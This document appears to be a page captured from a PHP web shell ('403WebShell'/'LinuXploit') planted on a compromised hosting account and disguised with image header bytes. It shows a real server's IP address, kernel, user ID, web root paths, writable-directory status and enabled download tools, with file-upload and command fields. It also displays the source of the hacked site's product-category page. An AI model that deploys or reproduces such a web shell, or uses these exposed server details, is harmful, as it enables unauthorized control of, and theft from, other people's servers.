���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 88.222.243.122  /  Your IP : 216.73.216.200
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u479334040/domains/rfconnector.info/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u479334040/domains/rfconnector.info/public_html/category.php
<?php
session_start();
error_reporting(0);
include('includes/config.php');
$cid = intval($_GET['cid']);
$query = "SELECT meta_title,meta_keywords,meta_description,canonical FROM `category` WHERE id='$cid'";
$result = mysqli_query($con, $query);
$row = mysqli_fetch_assoc($result);
?>



<!doctype html>
<html lang="en">
<head>
    
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title><?php echo ($row['meta_title']); ?></title>
    <meta content="<?php echo ($row['meta_keywords']); ?>" name="keywords">
    <meta content="<?php echo ($row['meta_description']); ?>" name="description">
    <link rel="canonical" href="<?php echo ($row['canonical']); ?>">

    <?php include('include/assets.php') ?>
</head>
<body>
    <?php include('include/header.php') ?>
  
    <section class="breadcrumb-header style-2" id="page" style="background-image: url(img/about-bg.jpg)">
        <div class="overlay"></div>
        <div class="container">
            <div class="row">
                <?php
                $sql = mysqli_query($con, "SELECT categoryName FROM category WHERE id='$cid'");
                if ($row = mysqli_fetch_array($sql)) {
                    ?>
                    <div class="col-md-8">
                        <div class="banner">
                            <h1><?php echo htmlentities($row['categoryName']); ?> </h1>
                            <ul>
                                <li><a href="index.php">Home</a></li>
                                <li><i class="fas fa-angle-right"></i></li>
                                <li>Product Page</li>
                            </ul>
                        </div>
                    </div>
                <?php } ?>
            </div>
        </div>
    </section>
    <div class="single-services py-5">
        <div class="container">
            <div class="row">


                <div class="col-12">
                    <h2 class="text-uppercase"><?php echo htmlentities($row['categoryName']); ?></h2>
                </div>
                <?php
                $ret = mysqli_query($con, "SELECT * FROM products WHERE category='$cid' ");
                $num = mysqli_num_rows($ret);
                if ($num > 0) {
                    while ($row = mysqli_fetch_array($ret)) { ?>
                        <div class="col-lg-3 col-md-4 col-6 my-4">

                            <div class="product-card">
                                <div class="swiper mySwiper2">
                                    <div class="swiper-wrapper">
                                        <?php
                                        for ($imgno = 1; $imgno <= 6; $imgno++) {
                                            $imgVar = 'productImage' . $imgno;
                                            if (!empty($row[$imgVar])) {
                                                ?>
                                                <div class="swiper-slide">
                                                    <a href="">
                                                        <img class="bg-img"
                                                            src="product-admin/product-img/<?php echo htmlentities($row['id']); ?>/<?php echo htmlentities($row[$imgVar]); ?>"
                                                            alt="<?php echo htmlentities($row['productName']); ?>" />
                                                    </a>
                                                </div>
                                                <?php
                                            }
                                        }
                                        ?>
                                    </div>
                                </div>


                                <div class="card-body">
                                    <a href="">
                                        <h4><?php echo htmlentities($row['productName']); ?></h4>
                                        <p>Synergy Telecom</p>
                                    </a>
                                    <div class="card-btn mt-4">
                                        <a class="button"   
                                            href="product-admin/my-pdf/<?php echo htmlentities($row['productPdf']); ?>"
                                            target="_blank">
                                            <svg class="svgIcon" viewBox="0 0 384 512">
                                                <path
                                                    d="M214.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-160 160c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L160 141.2V448c0 17.7 14.3 32 32 32s32-14.3 32-32V141.2L329.4 246.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-160-160z">
                                                </path>
                                            </svg>
                                        </a>

                                        <a class="button mx-2" href=""></a>
                                    </div>
                                </div>
                            </div>
                        </div>
                    <?php }
                } else {
                    echo '<h2 style="text-align:center;">No product Found</h2>';

                }
                ?>
            </div>


        </div>
    </div>

    <?php include('include/footer.php') ?>

Youez - 2016 - github.com/yon3zu
LinuXploit